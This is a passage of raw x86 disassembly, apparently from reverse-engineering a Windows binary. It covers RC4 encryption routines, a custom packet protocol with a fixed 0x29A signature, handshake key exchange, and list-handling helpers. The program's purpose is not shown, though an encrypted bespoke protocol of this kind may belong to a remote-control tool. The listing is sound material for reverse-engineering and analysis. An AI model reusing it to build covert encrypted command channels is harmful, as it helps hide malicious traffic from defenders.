loc_443B0A: ; CODE XREF: sub_443ADF+24j
mov eax, [esi+0Ch]
mov eax, [eax]
mov eax, [eax]
jmp short loc_443B15
; ---------------------------------------------------------------------------
loc_443B13: ; CODE XREF: sub_443ADF+15j
mov eax, ebx
loc_443B15: ; CODE XREF: sub_443ADF+29j
; sub_443ADF+32j
pop esi
pop ebx
retn
sub_443ADF endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push 10h
push 0
lea eax, [ebp-10h]
push eax
call sub_4499B1
add esp, 0Ch
mov word ptr [ebp-10h], 2
mov dword ptr [ebp-14h], 10h
lea ebx, [ebp-10h]
lea eax, [ebp-14h]
push eax
push ebx
push dword ptr [ebp+8]
call sub_4490F5
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_443B58
xor eax, eax
jmp short loc_443B73
; ---------------------------------------------------------------------------
loc_443B58: ; CODE XREF: DMN1:00443B52j
mov edx, [ebp+0Ch]
mov eax, [ebp-0Ch]
mov [edx], eax
movzx eax, word ptr [ebp-0Eh]
push eax
call sub_4490D7
mov edx, [ebp+10h]
mov [edx], ax
xor eax, eax
inc eax
loc_443B73: ; CODE XREF: DMN1:00443B56j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
mov byte ptr [ebp-400h], 0
push 400h
lea eax, [ebp-400h]
push eax
call sub_4490FB
lea eax, [ebp-400h]
push eax
call sub_443ADF
pop ecx
mov ebx, eax
mov [ebp-404h], ebx
mov eax, [ebp-404h]
push eax
call sub_449101
mov esi, eax
push esi
lea eax, [ebp-400h]
push eax
push offset aSIsS ; "%s is %s\n"
call nullsub_4
add esp, 0Ch
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443BDC proc near ; CODE XREF: sub_443D76+14p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
and dword ptr [edx+400h], 0
mov edx, [ebp+arg_0]
and dword ptr [edx+404h], 0
mov ebx, [ebp+arg_0]
xor ecx, ecx
loc_443BFE: ; CODE XREF: sub_443BDC+2Cj
mov [ebx+ecx*4], ecx
inc ecx
cmp ecx, 100h
jl short loc_443BFE
and [ebp+var_8], 0
xor edi, edi
xor ecx, ecx
loc_443C12: ; CODE XREF: sub_443BDC+77j
lea eax, [ebx+ecx*4]
mov [ebp+var_C], eax
mov edx, [eax]
mov [ebp+var_4], edx
add edx, edi
mov esi, [ebp+var_8]
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+esi]
add eax, edx
movzx edi, al
mov eax, [ebx+edi*4]
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_4]
mov [ebx+edi*4], eax
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
cmp eax, [ebp+arg_8]
jl short loc_443C4C
and [ebp+var_8], 0
loc_443C4C: ; CODE XREF: sub_443BDC+6Aj
inc ecx
cmp ecx, 100h
jl short loc_443C12
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443BDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443C5C proc near ; CODE XREF: sub_443DFB+86p
; sub_443ECD+71p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov ebx, [eax+400h]
mov edi, [eax+404h]
mov ecx, eax
and [ebp+var_8], 0
jmp short loc_443CC3
; ---------------------------------------------------------------------------
loc_443C7C: ; CODE XREF: sub_443C5C+6Dj
lea eax, [ebx+1]
movzx ebx, al
lea eax, [ecx+ebx*4]
mov edx, [eax]
mov [ebp+var_4], edx
add edx, edi
movzx edi, dl
mov edx, [ecx+edi*4]
mov [ebp+var_C], edx
mov [eax], edx
mov eax, [ebp+var_4]
mov [ecx+edi*4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
add eax, edx
mov [ebp+var_10], eax
movsx edx, byte ptr [eax]
mov esi, [ebp+var_4]
mov eax, [ebp+var_C]
add eax, esi
movzx eax, al
xor edx, [ecx+eax*4]
mov al, dl
mov edx, [ebp+var_10]
mov [edx], al
inc [ebp+var_8]
loc_443CC3: ; CODE XREF: sub_443C5C+1Ej
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jl short loc_443C7C
mov edx, [ebp+arg_0]
mov [edx+400h], ebx
mov edx, [ebp+arg_0]
mov [edx+404h], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443C5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443CE4 proc near ; CODE XREF: DMN1:0044604Fp
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
push 474h
call sub_443369
pop ecx
mov esi, eax
push 10020h
call sub_443369
pop ecx
mov [esi+46Ch], eax
mov [ebp+var_1], 5Ah
xor ebx, ebx
loc_443D0E: ; CODE XREF: sub_443CE4+3Fj
mov al, [ebp+var_1]
mov [esi+ebx+4], al
movsx eax, [ebp+var_1]
lea eax, [ebx+eax*2]
mov [ebp+var_1], al
inc ebx
cmp ebx, 40h
jl short loc_443D0E
mov [ebp+var_1], 0A5h
xor ebx, ebx
loc_443D2B: ; CODE XREF: sub_443CE4+5Dj
mov al, [ebp+var_1]
mov [esi+ebx+44h], al
movsx eax, [ebp+var_1]
add eax, eax
sub eax, ebx
mov [ebp+var_1], al
inc ebx
cmp ebx, 20h
jl short loc_443D2B
mov eax, [ebp+arg_0]
mov [esi], eax
mov eax, [esi+46Ch]
mov [esi+470h], eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443CE4 endp
; =============== S U B R O U T I N E =======================================
sub_443D5C proc near ; CODE XREF: DMN1:004462DFp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push dword ptr [ebx+46Ch]
call sub_443397
pop ecx
push ebx
call sub_443397
pop ecx
pop ebx
retn
sub_443D5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443D76 proc near ; CODE XREF: sub_443DFB+27p
; sub_443ECD+36p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push 40h
lea eax, [ebx+4]
push eax
lea eax, [ebx+64h]
push eax
call sub_443BDC
add esp, 0Ch
mov al, [ebx+4]
mov [ebp+var_1], al
push 3Fh
lea eax, [ebx+5]
push eax
lea eax, [ebx+4]
push eax
call sub_449A11
add esp, 0Ch
mov al, [ebp+var_1]
mov [ebx+43h], al
xor esi, esi
xor edi, edi
jmp short loc_443DCE
; ---------------------------------------------------------------------------
loc_443DB6: ; CODE XREF: sub_443D76+5Bj
lea eax, [ebx+esi+4]
mov dl, [ebx+edi+44h]
add [eax], dl
lea eax, [edi+1]
mov ecx, 20h
cdq
idiv ecx
mov edi, edx
inc esi
loc_443DCE: ; CODE XREF: sub_443D76+3Ej
cmp esi, 40h
jl short loc_443DB6
mov al, [ebx+63h]
mov [ebp+var_1], al
mov esi, 1Fh
loc_443DDE: ; CODE XREF: sub_443D76+76j
lea eax, [esi-1]
mov al, [ebx+eax+44h]
mov [ebx+esi+44h], al
dec esi
test esi, esi
jg short loc_443DDE
mov al, [ebp+var_1]
mov [ebx+44h], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443D76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443DFB proc near ; CODE XREF: sub_443EB0+13p
; sub_444097+8Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_C]
test esi, esi
jl short loc_443E14
cmp esi, 0FFFFh
jle short loc_443E1B
loc_443E14: ; CODE XREF: sub_443DFB+Fj
xor eax, eax
jmp loc_443EA9
; ---------------------------------------------------------------------------
loc_443E1B: ; CODE XREF: sub_443DFB+17j
cmp [ebp+arg_10], 0
jz short loc_443E28
push ebx
call sub_443D76
pop ecx
loc_443E28: ; CODE XREF: sub_443DFB+24j
mov edi, [ebx+46Ch]
mov word ptr [edi], 29Ah
add edi, 2
mov ax, [ebp+arg_4]
mov [edi], ax
add edi, 2
mov ax, si
mov [edi], ax
add edi, 2
test esi, esi
jz short loc_443E5A
push esi
push [ebp+arg_8]
push edi
call sub_449A11
add esp, 0Ch
loc_443E5A: ; CODE XREF: sub_443DFB+50j
add esi, 6
push esi
movzx eax, [ebp+arg_4]
push eax
push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
call nullsub_4
add esp, 0Ch
cmp [ebp+arg_10], 0
jz short loc_443E89
push esi
push dword ptr [ebx+46Ch]
lea eax, [ebx+64h]
push eax
call sub_443C5C
add esp, 0Ch
loc_443E89: ; CODE XREF: sub_443DFB+79j
push esi
push dword ptr [ebx+46Ch]
push dword ptr [ebx]
call sub_443AA8
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], esi
jge short loc_443EA6
xor eax, eax
jmp short loc_443EA9
; ---------------------------------------------------------------------------
loc_443EA6: ; CODE XREF: sub_443DFB+A5j
xor eax, eax
inc eax
loc_443EA9: ; CODE XREF: sub_443DFB+1Bj
; sub_443DFB+A9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443DFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443EB0 proc near ; CODE XREF: DMN1:00444268p
; DMN1:0044616Bp
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 1
push [ebp+arg_C]
push [ebp+arg_8]
movzx eax, [ebp+arg_4]
push eax
push [ebp+arg_0]
call sub_443DFB
add esp, 14h
pop ebp
retn
sub_443EB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443ECD proc near ; CODE XREF: sub_44407C+11p
; DMN1:00444156p
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_10]
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
and [ebp+var_4], 0
mov eax, [ebp+arg_C]
test eax, eax
jl short loc_443EF6
cmp eax, 0FFFFh
jle short loc_443EFE
loc_443EF6: ; CODE XREF: sub_443ECD+20j
or eax, 0FFFFFFFFh
jmp loc_444075
; ---------------------------------------------------------------------------
loc_443EFE: ; CODE XREF: sub_443ECD+27j
test esi, esi
jz short loc_443F09
push ebx
call sub_443D76
pop ecx
loc_443F09: ; CODE XREF: sub_443ECD+33j
push 2
lea eax, [ebp+var_6]
push eax
push dword ptr [ebx]
call sub_4439FD
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_443F30
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_444075
; ---------------------------------------------------------------------------
loc_443F30: ; CODE XREF: sub_443ECD+51j
test esi, esi
jz short loc_443F46
push 2
lea eax, [ebp+var_6]
push eax
lea eax, [ebx+64h]
push eax
call sub_443C5C
add esp, 0Ch
loc_443F46: ; CODE XREF: sub_443ECD+65j
cmp [ebp+var_6], 29Ah
jz short loc_443F69
movzx eax, [ebp+var_6]
push eax
push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
call nullsub_4
pop ecx
pop ecx
mov eax, 0FFFFFFFEh
jmp loc_444075
; ---------------------------------------------------------------------------
loc_443F69: ; CODE XREF: sub_443ECD+7Fj
push 2
push [ebp+arg_4]
push dword ptr [ebx]
call sub_4439FD
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_443F8F
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_444075
; ---------------------------------------------------------------------------
loc_443F8F: ; CODE XREF: sub_443ECD+B0j
test esi, esi
jz short loc_443FA4
push 2
push [ebp+arg_4]
lea eax, [ebx+64h]
push eax
call sub_443C5C
add esp, 0Ch
loc_443FA4: ; CODE XREF: sub_443ECD+C4j
mov eax, [ebp+arg_4]
movzx eax, word ptr [eax]
push eax
push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
call nullsub_4
pop ecx
pop ecx
push 2
lea eax, [ebp+var_4]
push eax
push dword ptr [ebx]
call sub_4439FD
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_443FDE
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_444075
; ---------------------------------------------------------------------------
loc_443FDE: ; CODE XREF: sub_443ECD+FFj
test esi, esi
jz short loc_443FF4
push 2
lea eax, [ebp+var_4]
push eax
lea eax, [ebx+64h]
push eax
call sub_443C5C
add esp, 0Ch
loc_443FF4: ; CODE XREF: sub_443ECD+113j
push [ebp+arg_C]
push [ebp+var_4]
push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
call nullsub_4
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_44402C
push [ebp+var_4]
push dword ptr [ebx+46Ch]
push dword ptr [ebx]
call sub_4439FD
add esp, 0Ch
mov edi, eax
cmp edi, [ebp+var_4]
jge short loc_44402C
or eax, 0FFFFFFFFh
jmp short loc_444075
; ---------------------------------------------------------------------------
loc_44402C: ; CODE XREF: sub_443ECD+13Ej
; sub_443ECD+158j
test esi, esi
jz short loc_444045
push [ebp+var_4]
push dword ptr [ebx+46Ch]
lea eax, [ebx+64h]
push eax
call sub_443C5C
add esp, 0Ch
loc_444045: ; CODE XREF: sub_443ECD+161j
cmp [ebp+arg_8], 0
jz short loc_444072
mov eax, [ebp+arg_C]
cmp [ebp+var_4], eax
jle short loc_444059
mov eax, [ebp+arg_C]
mov [ebp+var_4], eax
loc_444059: ; CODE XREF: sub_443ECD+184j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_444072
push eax
push dword ptr [ebx+46Ch]
push [ebp+arg_8]
call sub_449A11
add esp, 0Ch
loc_444072: ; CODE XREF: sub_443ECD+17Cj
; sub_443ECD+191j
mov eax, [ebp+var_4]
loc_444075: ; CODE XREF: sub_443ECD+2Cj
; sub_443ECD+5Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443ECD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44407C proc near ; CODE XREF: sub_444272+18p
; DMN1:004461CEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 1
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_443ECD
add esp, 14h
pop ebp
retn
sub_44407C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444097 proc near ; CODE XREF: DMN1:004460C6p
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 80h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
lea edi, [ebp+var_80]
lea edi, [ebp+var_80]
mov word ptr [edi], 1
add edi, 2
mov word ptr [edi], 10h
add edi, 2
and dword ptr [edi], 0
add edi, 4
mov ax, [ebp+arg_4]
mov [edi], ax
add edi, 4
or esi, 1000h
mov ax, si
mov [edi], ax
add edi, 2
mov word ptr [edi], 40h
add edi, 2
mov word ptr [edi], 20h
add edi, 2
push 40h
lea eax, [ebx+4]
push eax
push edi
call sub_449A11
add esp, 0Ch
add edi, 40h
push 20h
lea eax, [ebx+44h]
push eax
push edi
call sub_449A11
add esp, 0Ch
add edi, 20h
push 0
lea eax, [ebp+var_80]
mov edx, edi
sub edx, eax
push edx
lea eax, [ebp+var_80]
push eax
push 1
push ebx
call sub_443DFB
add esp, 14h
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_444097 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
lea ebx, [ebp-80h]
push 0
push 80h
lea eax, [ebp-80h]
push eax
lea eax, [ebp-84h]
push eax
push dword ptr [ebp+8]
call sub_443ECD
add esp, 14h
mov esi, eax
cmp word ptr [ebp-84h], 1
jnz short loc_44416F
cmp esi, 0Ah
jge short loc_44419C
loc_44416F: ; CODE XREF: DMN1:00444168j
cmp esi, 0Ah
jge short loc_444181
push offset aHandshakeRecvE ; "Handshake: recv() error\n"
call nullsub_4
pop ecx
jmp short loc_444195
; ---------------------------------------------------------------------------
loc_444181: ; CODE XREF: DMN1:00444172j
movzx eax, word ptr [ebp-84h]
push eax
push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n"
call nullsub_4
pop ecx
pop ecx
loc_444195: ; CODE XREF: DMN1:0044417Fj
xor eax, eax
jmp loc_444250
; ---------------------------------------------------------------------------
loc_44419C: ; CODE XREF: DMN1:0044416Dj
lea ebx, [ebp-80h]
cmp word ptr [ebx], 1
jz short loc_4441BC
movzx eax, word ptr [ebx]
push eax
push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
call nullsub_4
pop ecx
pop ecx
xor eax, eax
jmp loc_444250
; ---------------------------------------------------------------------------
loc_4441BC: ; CODE XREF: DMN1:004441A3j
add ebx, 2
mov edx, [ebp+0Ch]
movzx eax, word ptr [ebx]
mov [edx], eax
add ebx, 2
add ebx, 4
mov edx, [ebp+10h]
mov ax, [ebx]
mov [edx], ax
add ebx, 4
mov edx, [ebp+14h]
movzx eax, word ptr [ebx]
mov [edx], eax
add ebx, 2
mov ax, [ebx]
mov [ebp-82h], ax
add ebx, 2
cmp word ptr [ebp-82h], 40h
jz short loc_4441FF
xor eax, eax
jmp short loc_444250
; ---------------------------------------------------------------------------
loc_4441FF: ; CODE XREF: DMN1:004441F9j
mov di, [ebx]
add ebx, 2
cmp di, 20h
jz short loc_44420F
xor eax, eax
jmp short loc_444250
; ---------------------------------------------------------------------------
loc_44420F: ; CODE XREF: DMN1:00444209j
sub esi, 10h
movzx eax, word ptr [ebp-82h]
movzx edx, di
add eax, edx
cmp esi, eax
jge short loc_444226
xor eax, eax
jmp short loc_444250
; ---------------------------------------------------------------------------
loc_444226: ; CODE XREF: DMN1:00444220j
push 40h
push ebx
mov eax, [ebp+8]
add eax, 4
push eax
call sub_449A11
add esp, 0Ch
add ebx, 40h
push 20h
push ebx
mov eax, [ebp+8]
add eax, 44h
push eax
call sub_449A11
add esp, 0Ch
xor eax, eax
inc eax
loc_444250: ; CODE XREF: DMN1:00444197j
; DMN1:004441B7j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 1
lea eax, [ebp+0Ch]
push eax
push 29Ah
push dword ptr [ebp+8]
call sub_443EB0
add esp, 10h
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444272 proc near ; CODE XREF: DMN1:004460EEp
; DMN1:004461A5p
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
mov [ebp+var_2], 0
push 1
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_44407C
add esp, 10h
mov ebx, eax
cmp [ebp+var_4], 29Ah
jnz short loc_4442A1
cmp ebx, 1
jz short loc_4442A6
loc_4442A1: ; CODE XREF: sub_444272+28j
or eax, 0FFFFFFFFh
jmp short loc_4442AA
; ---------------------------------------------------------------------------
loc_4442A6: ; CODE XREF: sub_444272+2Dj
movzx eax, [ebp+var_2]
loc_4442AA: ; CODE XREF: sub_444272+32j
pop ebx
mov esp, ebp
pop ebp
retn
sub_444272 endp
; =============== S U B R O U T I N E =======================================
sub_4442AF proc near ; CODE XREF: sub_448AD1+3Ap
push ebx
push 10h
call sub_443369
pop ecx
mov ebx, eax
pop ebx
retn
sub_4442AF endp
; =============== S U B R O U T I N E =======================================
sub_4442BC proc near ; CODE XREF: DMN1:004442F5p
; DMN1:00444500p ...
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_4442E7
mov esi, [ebx+4]
jmp short loc_4442D8
; ---------------------------------------------------------------------------
loc_4442CC: ; CODE XREF: sub_4442BC+1Ej
mov edi, esi
mov esi, [esi+8]
push edi
call sub_443397
pop ecx
loc_4442D8: ; CODE XREF: sub_4442BC+Ej
test esi, esi
jnz short loc_4442CC
and dword ptr [ebx], 0
and dword ptr [ebx+4], 0
and dword ptr [ebx+8], 0
loc_4442E7: ; CODE XREF: sub_4442BC+9j
pop edi
pop esi
pop ebx
retn
sub_4442BC endp
; ---------------------------------------------------------------------------
push ebx
mov ebx, [esp+8]
test ebx, ebx
jz short loc_444302
push ebx
call sub_4442BC
pop ecx
push ebx
call sub_443397
pop ecx
loc_444302: ; CODE XREF: DMN1:004442F2j
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_444304 proc near ; CODE XREF: DMN1:0044669Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
mov ecx, [esp+4+arg_4]
mov bx, [esp+4+arg_8]
mov eax, [esp+4+arg_0]
mov edx, [eax+4]
jmp short loc_44432B
; ---------------------------------------------------------------------------
loc_444317: ; CODE XREF: sub_444304+29j
cmp [edx+4], ecx
jnz short loc_444328
test bx, bx
jz short loc_444326
cmp [edx], bx
jnz short loc_444328
loc_444326: ; CODE XREF: sub_444304+1Bj
jmp short loc_44432F
; ---------------------------------------------------------------------------
loc_444328: ; CODE XREF: sub_444304+16j
; sub_444304+20j
mov edx, [edx+8]
loc_44432B: ; CODE XREF: sub_444304+11j
test edx, edx
jnz short loc_444317
loc_44432F: ; CODE XREF: sub_444304:loc_444326j
mov eax, edx
pop ebx
retn
sub_444304 endp
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
push 14h
call sub_443369
pop ecx
mov esi, eax
mov eax, [ebx+4]
mov [esi+8], eax
mov [ebx+4], esi
cmp dword ptr [ebx], 0
jnz short loc_444353
mov [ebx], esi
loc_444353: ; CODE XREF: DMN1:0044434Fj
inc dword ptr [ebx+8]
mov eax, [esp+10h]
mov [esi+4], eax
mov ax, [esp+14h]
mov [esi], ax
mov eax, esi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_44436A proc near ; CODE XREF: DMN1:00444517p
; sub_445EA7+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
push esi
mov ebx, [esp+8+arg_0]
push 14h
call sub_443369
pop ecx
mov esi, eax
cmp dword ptr [ebx], 0
jz short loc_444388
mov edx, [ebx]
mov [edx+8], esi
mov [ebx], esi
jmp short loc_44438D
; ---------------------------------------------------------------------------
loc_444388: ; CODE XREF: sub_44436A+13j
mov [ebx], esi
mov [ebx+4], esi
loc_44438D: ; CODE XREF: sub_44436A+1Cj
inc dword ptr [ebx+8]
mov eax, [esp+8+arg_4]
mov [esi+4], eax
mov ax, [esp+8+arg_8]
mov [esi], ax
mov eax, esi
pop esi
pop ebx
retn
sub_44436A endp
; =============== S U B R O U T I N E =======================================
sub_4443A4 proc near ; CODE XREF: DMN1:004444BBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
push esi
push edi
mov bx, [esp+0Ch+arg_8]
xor edi, edi
mov eax, [esp+0Ch+arg_0]
mov esi, [eax+4]
jmp short loc_4443D1
; ---------------------------------------------------------------------------
loc_4443B7: ; CODE XREF: sub_4443A4+2Fj
mov eax, [esp+0Ch+arg_4]
cmp [esi+4], eax
jnz short loc_4443CC
test bx, bx
jz short loc_4443CA
cmp [esi], bx
jnz short loc_4443CC
loc_4443CA: ; CODE XREF: sub_4443A4+1Fj
jmp short loc_4443D5
; ---------------------------------------------------------------------------
loc_4443CC: ; CODE XREF: sub_4443A4+1Aj
; sub_4443A4+24j
mov edi, esi
mov esi, [esi+8]
loc_4443D1: ; CODE XREF: sub_4443A4+11j
test esi, esi
jnz short loc_4443B7
loc_4443D5: ; CODE XREF: sub_4443A4:loc_4443CAj
test esi, esi
jnz short loc_4443DD
xor eax, eax
jmp short loc_444423
; ---------------------------------------------------------------------------
loc_4443DD: ; CODE XREF: sub_4443A4+33j
test edi, edi
jz short loc_4443F7
mov eax, [esp+0Ch+arg_0]
cmp esi, [eax]
jnz short loc_4443EF
mov edx, [esp+0Ch+arg_0]
mov [edx], edi
loc_4443EF: ; CODE XREF: sub_4443A4+43j
mov eax, [esi+8]
mov [edi+8], eax
jmp short loc_444412
; ---------------------------------------------------------------------------
loc_4443F7: ; CODE XREF: sub_4443A4+3Bj
mov edx, [esp+0Ch+arg_0]
mov eax, [esi+8]
mov [edx+4], eax
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_444412
mov edx, [esp+0Ch+arg_0]
and dword ptr [edx], 0
loc_444412: ; CODE XREF: sub_4443A4+51j
; sub_4443A4+65j
mov eax, [esp+0Ch+arg_0]
dec dword ptr [eax+8]
push esi
call sub_443397
pop ecx
xor eax, eax
inc eax
loc_444423: ; CODE XREF: sub_4443A4+37j
pop edi
pop esi
pop ebx
retn
sub_4443A4 endp
; =============== S U B R O U T I N E =======================================
sub_444427 proc near ; CODE XREF: DMN1:004444E6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_8]
xor edi, edi
mov eax, [esp+0Ch+arg_0]
mov esi, [eax+4]
jmp short loc_444449
; ---------------------------------------------------------------------------
loc_444439: ; CODE XREF: sub_444427+24j
mov eax, [esp+0Ch+arg_4]
sub eax, [esi+10h]
cmp eax, ebx
jnb short loc_44444D
mov edi, esi
mov esi, [esi+8]
loc_444449: ; CODE XREF: sub_444427+10j
test esi, esi
jnz short loc_444439
loc_44444D: ; CODE XREF: sub_444427+1Bj
test esi, esi
jnz short loc_444455
xor eax, eax
jmp short loc_44449B
; ---------------------------------------------------------------------------
loc_444455: ; CODE XREF: sub_444427+28j
test edi, edi
jz short loc_44446F
mov eax, [esp+0Ch+arg_0]
cmp esi, [eax]
jnz short loc_444467
mov edx, [esp+0Ch+arg_0]
mov [edx], edi
loc_444467: ; CODE XREF: sub_444427+38j
mov eax, [esi+8]
mov [edi+8], eax
jmp short loc_44448A
; ---------------------------------------------------------------------------
loc_44446F: ; CODE XREF: sub_444427+30j
mov edx, [esp+0Ch+arg_0]
mov eax, [esi+8]
mov [edx+4], eax
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_44448A
mov edx, [esp+0Ch+arg_0]
and dword ptr [edx], 0
loc_44448A: ; CODE XREF: sub_444427+46j
; sub_444427+5Aj
mov eax, [esp+0Ch+arg_0]
dec dword ptr [eax+8]
push esi
call sub_443397
pop ecx
xor eax, eax
inc eax
loc_44449B: ; CODE XREF: sub_444427+2Cj
pop edi
pop esi
pop ebx
retn
sub_444427 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+0Ch]
mov si, [ebp+10h]
xor edi, edi
jmp short loc_4444B3
; ---------------------------------------------------------------------------
loc_4444B0: ; CODE XREF: DMN1:004444C5j
xor edi, edi
inc edi
loc_4444B3: ; CODE XREF: DMN1:004444AEj
movzx eax, si
push eax
push ebx
push dword ptr [ebp+8]
call sub_4443A4
add esp, 0Ch
test eax, eax
jnz short loc_4444B0
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+0Ch]
mov esi, [ebp+10h]
xor edi, edi
jmp short loc_4444E1
; ---------------------------------------------------------------------------
loc_4444DE: ; CODE XREF: DMN1:004444F0j
xor edi, edi
inc edi
loc_4444E1: ; CODE XREF: DMN1:004444DCj
push esi
push ebx
push dword ptr [ebp+8]
call sub_444427
add esp, 0Ch
test eax, eax
jnz short loc_4444DE
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
push ebx
call sub_4442BC
pop ecx
mov eax, [esp+10h]
mov esi, [eax+4]
jmp short loc_444522
; ---------------------------------------------------------------------------
loc_44450F: ; CODE XREF: DMN1:00444524j
movzx eax, word ptr [esi]
push eax
push dword ptr [esi+4]
push ebx
call sub_44436A
add esp, 0Ch
mov esi, [esi+8]
loc_444522: ; CODE XREF: DMN1:0044450Dj
test esi, esi
jnz short loc_44450F
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
